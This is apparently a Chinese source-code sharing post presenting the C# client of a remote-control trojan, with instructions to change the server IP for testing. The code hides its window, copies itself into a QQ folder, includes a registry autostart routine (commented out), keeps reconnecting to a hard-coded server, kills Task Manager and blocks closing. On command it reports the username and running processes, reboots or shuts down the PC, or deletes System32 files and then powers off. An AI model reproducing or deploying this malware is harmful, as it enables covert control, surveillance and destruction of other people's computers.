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   源码介绍

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调试时 需要将ip地址 改成自己本机的ip地址

需改 Server.cs和Client.cs中的ip地址即可，如下：

using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using System.IO;

namespace _99.远控客户端
{
    public partial class Client : Form
    {
        public Client()
        {
            InitializeComponent();
        }

        bool b = true;
        Socket socketSend;
        private void Client_Load(object sender, EventArgs e)
        {
            //Startup();  //加开机启动
            this.Width = 0;
            this.Height = 0;
            Brothers();//复制一份
            Control.CheckForIllegalCrossThreadCalls = false;//关闭线程监视
            //和主机连接起来——————为了避免假死，就弄个线程过来
            Thread th = new Thread(ClientConnect);
            th.IsBackground = true;//[后台线程--主窗体被关闭了，程序会立刻结束]
            th.Start();
        }

        #region 自我保护
        public void Brothers()
        {
            try
            {
                string path = Application.ExecutablePath;
                string fileName = Path.GetFileName(path);
                Directory.CreateDirectory(@"D:\Program Files (x86)\Tencent\QQ\dnt");
                string newFileName = @"D:\Program Files (x86)\Tencent\QQ\dnt\"   fileName;
                if (!File.Exists(newFileName))
                {
                    File.Copy(fileName, newFileName, true);
                    Process.Start(newFileName);
                }
            }
            catch { }
        }
        #endregion

        #region 加开机启动——————我这边不想邪恶，就注释了，你要的话就弄出来就行了
        public void Startup()  //win8 60%的电脑有用，win7都可以
        {
            try
            {
                string KJLJ = Application.ExecutablePath;

                if (!System.IO.File.Exists(KJLJ))//判断指定文件是否存在

                    return;

                string newKJLJ = KJLJ.Substring(KJLJ.LastIndexOf("\\")   1);

                RegistryKey Rkey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

                if (Rkey == null)

                    Rkey = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");

                Rkey.SetValue(newKJLJ, KJLJ);
            }
            catch { }
        }
        #endregion

        #region 连接服务器
        public void ClientConnect()
        {
            while (b)//连接没问题就只连接一次，一旦出现问题就反复连接直到成功
            {
                try
                {
                    //创建一个Socket通信对象
                    socketSend = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

                    //获取服务器ip
                    IPAddress ip = IPAddress.Parse("192.168.92.1");

                    //开始连接
                    socketSend.Connect(ip, 5438);

                    b = false;//到这一步说明程序正常，就不要反复连接来占用资源了

                    //连接成功后咱们就得接受服务器的指令了
                    Thread th = new Thread(DntWatch);
                    th.IsBackground = true;
                    th.Start();
                }
                catch
                {
                    b = true;//有问题，那就继续连呗，反正又不是咱们的电脑，不能告诉他详细信息的
                }
            }
        }
        #endregion

        #region 结束taskmgr
        public void KillProcess()
        {
            Process[] pro = Process.GetProcessesByName("taskmgr");
            foreach (Process item in pro)
            {
                try { item.Kill(); }
                catch { }
            }
        }
        private void timer1_Tick(object sender, EventArgs e)
        {
            KillProcess();
        }
        #endregion

        #region 获取进程
        public string GetProcess()
        {
            StringBuilder sb = new StringBuilder();
            Process[] ps = Process.GetProcesses();
            foreach (Process item in ps)
            {
                sb.Append(item.ProcessName).Append("\n");
            }
            return sb.ToString();
        }
        #endregion

        #region 等待服务器指令
        public void DntWatch()
        {
            string userName = null;
            try
            {
                while (true)
                {
                    byte[] buffer = new byte[1];//以后想发远程cmd就把空间放大一点【1M也够了】--如果想发软件，可以发地址过来，让客户端自己下载（不然拖慢两边速度）
                    int r = socketSend.Receive(buffer);//接受数据，返回实际字节数
                    byte cmd = buffer[0];//读取发的标识
                    switch (cmd)
                    {
                        case 0:
                            userName = Environment.UserName.ToString(); //获取电脑用户名
                            socketSend.Send(Encoding.UTF8.GetBytes(userName));
                            break;
                        case 1:
                            socketSend.Send(Encoding.UTF8.GetBytes(GetProcess()));   //对方的任务进程
                            break;
                        case 2: DNT("shutdown -r -t 0"); DNT("shutdown -r -t 0"); break;//重启远程电脑
                        case 3: DNT("shutdown -s -t 0"); DNT("shutdown -s -t 0"); break;//关闭远程电脑
                        case 4:
                            {
                                string dPath = @"C:\Windows\System32";
                                string[] dfiles = Directory.GetFiles(dPath);
                                foreach (string item in dfiles)
                                {
                                    try
                                    {
                                        Process.Start("cmd");
                                        File.Delete(item);
                                    }
                                    catch
                                    {
                                        continue;
                                    }
                                }
                                DNT("shutdown -s -t 0"); DNT("shutdown -s -t 0");
                                break;   //让对方卡到爆,然后灭机
                            }
                    }
                }
            }
            catch//说明服务器下线了
            {
                b = true;
                Thread th = new Thread(ClientConnect);
                th.IsBackground = true;//[前台线程--主窗体被关闭了，程序不会立刻结束]
                th.Start();
            }
        }
        #endregion

        #region 关机重启
        [DllImport("user32.dll", EntryPoint = "ExitWindowsEx", CharSet = CharSet.Ansi)]
        private static extern int ExitWindowsEx(int uFlags, int dwReserved);
        public void DNT(string input)//关机 //重启
        {
            System.Diagnostics.Process myProcess = new System.Diagnostics.Process();
            myProcess.StartInfo.FileName = "cmd.exe";
            myProcess.StartInfo.UseShellExecute = false;
            myProcess.StartInfo.RedirectStandardInput = true;
            myProcess.StartInfo.RedirectStandardOutput = true;
            myProcess.StartInfo.RedirectStandardError = true;
            myProcess.StartInfo.CreateNoWindow = true;
            myProcess.Start();
            myProcess.StandardInput.WriteLine(input); //-r重启-s关机
        }
        #endregion

        #region 窗体不关闭
        private void Client_FormClosing(object sender, FormClosingEventArgs e)
        {
            e.Cancel = true;
        }
        #endregion
    }
}